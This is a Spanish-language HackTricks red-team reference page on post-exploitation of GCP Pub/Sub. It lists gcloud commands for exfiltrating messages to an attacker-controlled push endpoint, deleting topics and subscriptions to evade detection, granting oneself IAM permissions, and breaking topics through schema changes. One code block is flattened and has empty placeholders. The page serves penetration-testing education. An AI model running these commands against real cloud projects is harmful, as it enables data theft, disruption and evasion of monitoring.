GCP - Pub/Sub Post Exploitation

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Pub/Sub

Para obtener más información sobre Pub/Sub, consulta la siguiente página:

pageGCP - Pub/Sub Enum

pubsub.topics.publish

Publica un mensaje en un tema, útil para enviar datos inesperados y activar funcionalidades inesperadas o explotar vulnerabilidades:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Útil para evitar que una suscripción reciba mensajes, tal vez para evitar ser detectado.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Útil para evitar que una suscripción reciba mensajes, tal vez para evitar ser detectado. Es posible eliminar un tema incluso si tiene suscripciones asociadas.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Utiliza este permiso para actualizar alguna configuración del tema y así interrumpirlo, como --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Otórgate permiso para llevar a cabo cualquiera de los ataques anteriores.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Obtén todos los mensajes en un servidor web:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Crear una suscripción y usarla para extraer mensajes:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Eliminar una suscripción podría ser útil para interrumpir un sistema de procesamiento de registros o algo similar:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Utiliza este permiso para actualizar alguna configuración y así almacenar los mensajes en un lugar al que puedas acceder (URL, tabla de Big Query, Bucket) o simplemente para interrumpirlo.

pubsub.subscriptions.setIamPolicy

Otórgate los permisos necesarios para llevar a cabo cualquiera de los ataques comentados anteriormente.

pubsub.schemas.delete

Elimina un esquema para poder enviar mensajes que no cumplan con el esquema:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Ataque un esquema a un tema para que los mensajes no lo cumplan y, por lo tanto, el tema se vea interrumpido. Si no hay esquemas, es posible que necesites crear uno.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}

```bash # Attach new schema gcloud pubsub topics update projects//topics/ \ --schema=projects//schemas/ \ --message-encoding=json ``` ### `pubsub.schemas.setIamPolicy`

Otórgate los permisos necesarios para realizar cualquiera de los ataques comentados anteriormente.

pubsub.snapshots.create, pubsub.snapshots.seek

Esto creará una instantánea de todos los mensajes no confirmados y los devolverá a la suscripción. No es muy útil para un atacante, pero aquí está:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

Última actualización